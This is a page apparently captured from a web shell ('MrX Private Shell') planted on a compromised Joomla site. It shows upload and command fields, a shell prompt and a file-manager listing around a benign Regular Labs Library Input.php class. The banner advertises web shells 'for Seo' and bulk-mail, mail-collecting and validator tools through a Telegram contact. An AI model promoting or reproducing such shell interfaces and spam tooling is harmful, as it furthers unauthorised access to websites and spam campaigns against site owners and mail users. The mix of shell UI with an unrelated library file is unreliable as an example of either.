__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package         Regular Labs Library
 * @version         23.12.10783
 * 
 * @author          Peter van Westen <[email protected]>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Library;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;

/**
 * string   getAlphaNumeric($name, $default = null)     Get an alphanumeric string.
 * string   getBase64($name, $default = null)           Get a base64 encoded string.
 * boolean  getBool($name, $default = null)             Get a boolean value.
 * string   getCmd($name, $default = null)              Get a CMD filtered string.
 * float    getFloat($name, $default = null)            Get a floating-point number.
 * string   getHtml($name, $default = null)             Get a HTML string.
 * integer  getInt($name, $default = null)              Get a signed integer.
 * string   getPath($name, $default = null)             Get a file path.
 * mixed    getRaw($name, $default = null)              Get an unfiltered value.
 * string   getString($name, $default = null)           Get a string.
 * integer  getUint($name, $default = null)             Get an unsigned integer.
 * string   getUsername($name, $default = null)         Get a username.
 * string   getWord($name, $default = null)             Get a word.
 */
class Input
{
    public static function get(string $name, mixed $default = null, string $filter = 'none'): mixed
    {
        return JFactory::getApplication()->getInput()->get($name, $default, $filter);
    }

    public static function getAlphaNumeric(string $name, mixed $default = null): string
    {
        return (string) JFactory::getApplication()->getInput()->getAlnum($name, $default);
    }

    public static function getArray(array $vars = [], mixed $datasource = null): array
    {
        return JFactory::getApplication()->getInput()->getArray($vars, $datasource);
    }

    public static function getAsArray(string $name, ?array $default = []): array
    {
        return (array) JFactory::getApplication()->getInput()->get($name, $default ?? [], 'array');
    }

    public static function getBase64(string $name, mixed $default = null): string
    {
        return (string) JFactory::getApplication()->getInput()->getBase64($name, $default);
    }

    public static function getBool(string $name, ?bool $default = false): bool
    {
        return (bool) JFactory::getApplication()->getInput()->getBool($name, $default);
    }

    public static function getCmd(string $name, mixed $default = null): string
    {
        return (string) JFactory::getApplication()->getInput()->getCmd($name, $default);
    }

    public static function getFloat(string $name, mixed $default = null): float
    {
        return (float) JFactory::getApplication()->getInput()->getFloat($name, $default);
    }

    public static function getHtml(string $name, mixed $default = null): string
    {
        return (string) JFactory::getApplication()->getInput()->getHtml($name, $default);
    }

    public static function getInt(string $name, mixed $default = null): int
    {
        return (int) JFactory::getApplication()->getInput()->getInt($name, $default);
    }

    public static function getPath(string $name, mixed $default = null): string
    {
        return (string) JFactory::getApplication()->getInput()->getPath($name, $default);
    }

    public static function getRaw(string $name, mixed $default = null): mixed
    {
        return JFactory::getApplication()->getInput()->getRaw($name, $default);
    }

    public static function getString(string $name, mixed $default = null): string
    {
        return (string) JFactory::getApplication()->getInput()->getString($name, $default);
    }

    public static function getUint(string $name, mixed $default = null): int
    {
        return (int) JFactory::getApplication()->getInput()->getUint($name, $default);
    }

    public static function getUsername(string $name, mixed $default = null): string
    {
        return (string) JFactory::getApplication()->getInput()->getUsername($name, $default);
    }

    public static function getWord(string $name, mixed $default = null): string
    {
        return (string) JFactory::getApplication()->getInput()->getWord($name, $default);
    }

    public static function set(string $name, mixed $value): void
    {
        JFactory::getApplication()->getInput()->set($name, $value);
    }

    public static function setCookie(string $name, mixed $value, array $options = []): void
    {
        JFactory::getApplication()->getInput()->cookie->set($name, $value, $options);
    }
}

Filemanager

Name Type Size Permission Actions
Form Folder 0775
ActionLogPlugin.php File 8.29 KB 0664
Alias.php File 3.22 KB 0664
ArrayHelper.php File 14.13 KB 0664
Article.php File 10.14 KB 0664
Cache.php File 4.69 KB 0664
Color.php File 1.85 KB 0664
DB.php File 15.25 KB 0664
Date.php File 5.25 KB 0664
Document.php File 13.21 KB 0664
DownloadKey.php File 3.92 KB 0664
EditorButtonPlugin.php File 5.9 KB 0664
EditorButtonPopup.php File 5.53 KB 0664
Extension.php File 14.81 KB 0664
FieldsPlugin.php File 1001 B 0664
File.php File 14.92 KB 0664
Html.php File 22.41 KB 0664
HtmlTag.php File 4.84 KB 0664
Http.php File 4.54 KB 0664
Image.php File 29.04 KB 0664
Input.php File 4.64 KB 0664
Language.php File 985 B 0664
License.php File 1.78 KB 0664
MobileDetect.php File 748 B 0664
ObjectHelper.php File 2.92 KB 0664
Parameters.php File 7.27 KB 0664
Php.php File 6.81 KB 0664
PluginTag.php File 16.31 KB 0664
Protect.php File 27.82 KB 0664
RegEx.php File 8.02 KB 0664
ShowOn.php File 1.44 KB 0664
SimpleCategory.php File 1.7 KB 0664
StringHelper.php File 22.9 KB 0664
StringReplacer.php File 13.66 KB 0664
SystemPlugin.php File 15.4 KB 0664
Title.php File 2.8 KB 0664
Uri.php File 6.06 KB 0664
Variables.php File 11.55 KB 0664
Version.php File 8.32 KB 0664
Xml.php File 1.53 KB 0664
Filemanager